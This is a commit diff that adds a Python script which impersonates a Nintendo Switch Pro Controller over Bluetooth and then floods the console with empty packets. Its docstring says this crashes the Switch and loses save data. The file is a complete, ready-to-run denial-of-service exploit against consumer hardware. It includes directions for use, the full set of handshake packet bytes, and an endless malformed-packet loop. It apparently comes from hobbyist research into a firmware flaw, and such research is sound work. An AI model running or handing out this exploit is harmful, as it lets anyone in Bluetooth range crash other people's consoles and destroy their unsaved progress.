Initial commit
This commit is contained in:
parent
a73c79438f
commit
18e46646b7
1 changed files with 227 additions and 0 deletions
227
scripts/crash_switch.py
Normal file
227
scripts/crash_switch.py
Normal file
|
|
@ -0,0 +1,227 @@
|
|||
"""
|
||||
---------------------------------------------------
|
||||
--> THIS SCRIPT WILL CRASH YOUR NINTENDO SWITCH <--
|
||||
---------------------------------------------------
|
||||
|
||||
Any save data or active game state will be lost
|
||||
since this forces a restart. I take no
|
||||
responsibility whatsoever for any lost data or
|
||||
harm caused by this script.
|
||||
|
||||
RUN THIS AT YOUR OWN RISK!
|
||||
|
||||
---------------------------------------------------
|
||||
DIRECTIONS FOR USE
|
||||
---------------------------------------------------
|
||||
|
||||
This script was tested with a Raspberry Pi 4B (4GB),
|
||||
Python 3.7.3, and a Nintendo Switch on firmware v10.1.0
|
||||
|
||||
1.) Open the "Change Grip/Order" menu on your
|
||||
Nintendo Switch.
|
||||
2.) Start this script with sudo privileges.
|
||||
3.) Watch your Switch crash.
|
||||
|
||||
---------------------------------------------------
|
||||
HOW DOES THIS WORK?
|
||||
---------------------------------------------------
|
||||
|
||||
The Switch protects itself against malformed
|
||||
packets when controllers initially connect. This
|
||||
defensiveness, however, is dropped after a
|
||||
controller successfully connects to the Switch.
|
||||
|
||||
After a successful connection, we can exploit this
|
||||
by blasting the Switch with malformed (specifically
|
||||
empty) packets. Since the Switch isn't expecting this,
|
||||
we trigger a cascade of errors, resulting in the
|
||||
crash.
|
||||
"""
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
import fcntl
|
||||
|
||||
from nxbt import toggle_input_plugin
|
||||
from nxbt import BlueZ
|
||||
from nxbt import Controller
|
||||
from nxbt import PRO_CONTROLLER
|
||||
|
||||
REQUEST_INFO = b'\xA2\x21\x1A\x40\x00\x00\x00\x02\x20\x00\x01\x00\x00\x00\x82\x02\x03\x48\x03\x02\xDC\xA6\x32\x16\x4A\x7C\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
SET_SHIPMENT = b'\xA1\x21\xF2\x40\x00\x00\x00\x10\x18\x76\x44\x97\x73\x0B\x80\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
SERIAL_NUMBER = b'\xA1\x21\x00\x40\x00\x00\x00\x12\x08\x76\x42\x77\x73\x0C\x90\x10\x00\x60\x00\x00\x10\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
COLOURS = b'\xA1\x21\x26\x40\x00\x00\x00\x11\xF8\x75\x44\x87\x73\x0C\x90\x10\x50\x60\x00\x00\x0D\x32\x32\x32\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
INPUT_MODE = b'\xA1\x21\x5B\x40\x00\x00\x00\x10\x18\x76\x45\x87\x73\x0C\x80\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
TRIGGER_BUTTONS = b'\xA1\x21\xAA\x40\x00\x00\x00\x11\x08\x76\x44\x87\x73\x0B\x83\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
FACTORY_PARAMS = b'\xA1\x21\xEE\x40\x00\x00\x00\x10\xD8\x75\x43\x87\x73\x0C\x90\x10\x80\x60\x00\x00\x18\x50\xFD\x00\x00\xC6\x0F\x0F\x30\x61\x96\x30\xF3\xD4\x14\x54\x41\x15\x54\xC7\x79\x9C\x33\x36\x63\x00\x00\x00\x00\x00'
|
||||
FACTORY_PARAMS_2 = b'\xA1\x21\x15\x40\x00\x00\x00\x11\x18\x76\x45\x97\x73\x0B\x90\x10\x98\x60\x00\x00\x12\x0F\x30\x61\x96\x30\xF3\xD4\x14\x54\x41\x15\x54\xC7\x79\x9C\x33\x36\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
USER_CAL = b'\xA1\x21\x49\x40\x00\x00\x00\x12\x08\x76\x43\xA7\x73\x0A\x90\x10\x10\x80\x00\x00\x18\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00'
|
||||
FACTORY_CAL = b'\xA1\x21\x65\x40\x00\x00\x00\x0F\x38\x76\x46\x87\x73\x0A\x90\x10\x3D\x60\x00\x00\x19\x31\x96\x61\xEA\xE7\x73\xA4\xF5\x5D\x55\x27\x75\xA7\xD5\x5B\x3A\x16\x59\xFF\x32\x32\x32\xFF\xFF\xFF\x00\x00\x00\x00'
|
||||
SIX_AXIS_CAL = b'\xA1\x21\x8D\x40\x00\x00\x00\x10\x08\x76\x44\x67\x73\x08\x90\x10\x20\x60\x00\x00\x18\x32\x00\xFA\xFE\x38\x01\x00\x40\x00\x40\x00\x40\x03\x00\xEE\xFF\xD9\xFF\x3B\x34\x3B\x34\x3B\x34\x00\x00\x00\x00\x00'
|
||||
ENABLE_IMU = b'\xA1\x21\xBB\x40\x00\x00\x00\x11\x08\x76\x45\x87\x73\x02\x80\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
ENABLE_VIBRATION = b'\xA1\x21\xDD\x40\x00\x00\x00\x0F\x18\x76\x43\x87\x73\x09\x80\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
SET_NFC_IR = b'\xA1\x21\x13\x40\x00\x00\x00\x0E\x08\x76\x45\x77\x73\x00\xA0\x21\x01\x00\xFF\x00\x03\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5C'
|
||||
SET_PLAYER_LIGHTS = b'\xA1\x21\x35\x40\x00\x00\x00\x10\x08\x76\x43\x67\x73\x0B\x80\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
|
||||
IDLE_PACKET = b'\xA1\x30\xBA\x40\x00\x00\x00\x0F\xD8\x75\x43\x97\x73\x09\xD5\xFA\x3C\xFC\xCD\x0E\x19\x00\xE1\xFF\xDD\xFF\xCD\xFA\x3A\xFC\xCE\x0E\x18\x00\xDF\xFF\xDB\xFF\xCA\xFA\x3C\xFC\xD3\x0E\x19\x00\xDD\xFF\xDB\xFF'
|
||||
|
||||
COMMANDS = [
|
||||
REQUEST_INFO,
|
||||
SET_SHIPMENT,
|
||||
SERIAL_NUMBER,
|
||||
COLOURS,
|
||||
INPUT_MODE,
|
||||
TRIGGER_BUTTONS,
|
||||
FACTORY_PARAMS,
|
||||
FACTORY_PARAMS_2,
|
||||
USER_CAL,
|
||||
FACTORY_CAL,
|
||||
SIX_AXIS_CAL,
|
||||
ENABLE_IMU,
|
||||
ENABLE_VIBRATION,
|
||||
SET_NFC_IR,
|
||||
]
|
||||
|
||||
|
||||
def format_message(data, split, name):
|
||||
"""Formats a given byte message in hex format split
|
||||
into payload and subcommand sections.
|
||||
|
||||
:param data: A series of bytes
|
||||
:type data: bytes
|
||||
:param split: The location of the payload/subcommand split
|
||||
:type split: integer
|
||||
:param name: The name featured in the start/end messages
|
||||
:type name: string
|
||||
:return: The formatted data
|
||||
:rtype: string
|
||||
"""
|
||||
|
||||
payload = ""
|
||||
subcommand = ""
|
||||
for i in range(0, len(data)):
|
||||
data_byte = str(hex(data[i]))[2:].upper()
|
||||
if len(data_byte) < 2:
|
||||
data_byte = "0" + data_byte
|
||||
if i <= split:
|
||||
payload += "0x" + data_byte + " "
|
||||
else:
|
||||
subcommand += "0x" + data_byte + " "
|
||||
|
||||
formatted = (
|
||||
f"--- {name} Msg ---\n" +
|
||||
f"Payload: {payload}\n" +
|
||||
f"Subcommand: {subcommand}")
|
||||
|
||||
return formatted
|
||||
|
||||
|
||||
def print_msg_controller(data):
|
||||
"""Prints a formatted message from a controller
|
||||
|
||||
:param data: The bytes from the controller message
|
||||
:type data: bytes
|
||||
"""
|
||||
|
||||
print(format_message(data, 13, "Controller"))
|
||||
|
||||
|
||||
def print_msg_switch(data):
|
||||
"""Prints a formatted message from a Switch
|
||||
|
||||
:param data: The bytes from the Switch message
|
||||
:type data: bytes
|
||||
"""
|
||||
|
||||
print(format_message(data, 10, "Switch"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
port_ctrl = 17
|
||||
port_itr = 19
|
||||
|
||||
toggle_input_plugin(False)
|
||||
bt = BlueZ(adapter_path="/org/bluez/hci0")
|
||||
|
||||
controller = Controller(bt, PRO_CONTROLLER)
|
||||
|
||||
# Switch sockets
|
||||
switch_itr = socket.socket(family=socket.AF_BLUETOOTH,
|
||||
type=socket.SOCK_SEQPACKET,
|
||||
proto=socket.BTPROTO_L2CAP)
|
||||
switch_ctrl = socket.socket(family=socket.AF_BLUETOOTH,
|
||||
type=socket.SOCK_SEQPACKET,
|
||||
proto=socket.BTPROTO_L2CAP)
|
||||
|
||||
try:
|
||||
switch_ctrl.bind((bt.address, port_ctrl))
|
||||
switch_itr.bind((bt.address, port_itr))
|
||||
|
||||
# bt.set_alias("Joy-Con (L)")
|
||||
bt.set_alias("Pro Controller")
|
||||
bt.set_discoverable(True)
|
||||
|
||||
print("Waiting for Switch to connect...")
|
||||
switch_itr.listen(1)
|
||||
switch_ctrl.listen(1)
|
||||
|
||||
client_control, control_address = switch_ctrl.accept()
|
||||
print("Got Switch Control Client Connection")
|
||||
client_interrupt, interrupt_address = switch_itr.accept()
|
||||
print("Got Switch Interrupt Client Connection")
|
||||
|
||||
# Creating a non-blocking client interrupt connection
|
||||
fcntl.fcntl(client_interrupt, fcntl.F_SETFL, os.O_NONBLOCK)
|
||||
|
||||
print("Connecting to Switch...")
|
||||
while True:
|
||||
try:
|
||||
reply = client_interrupt.recv(350)
|
||||
# print_msg_switch(reply)
|
||||
except BlockingIOError:
|
||||
reply = None
|
||||
|
||||
if reply and len(reply) > 40:
|
||||
client_interrupt.sendall(COMMANDS.pop(0))
|
||||
else:
|
||||
client_interrupt.sendall(IDLE_PACKET)
|
||||
|
||||
if len(COMMANDS) == 0:
|
||||
break
|
||||
|
||||
time.sleep(1/15)
|
||||
|
||||
print("Crashing Switch...")
|
||||
while True:
|
||||
try:
|
||||
reply = client_interrupt.recv(350)
|
||||
except BlockingIOError:
|
||||
reply = None
|
||||
|
||||
client_interrupt.sendall(b'')
|
||||
|
||||
time.sleep(1/15)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Closing sockets")
|
||||
|
||||
switch_itr.close()
|
||||
switch_ctrl.close()
|
||||
|
||||
try:
|
||||
sys.exit(1)
|
||||
except SystemExit:
|
||||
os._exit(1)
|
||||
|
||||
except OSError as e:
|
||||
print("Closing sockets")
|
||||
|
||||
switch_itr.close()
|
||||
switch_ctrl.close()
|
||||
|
||||
raise e
|
||||
|
||||
finally:
|
||||
toggle_input_plugin(True)
|
||||
Loading…
Add table
Add a link
Reference in a new issue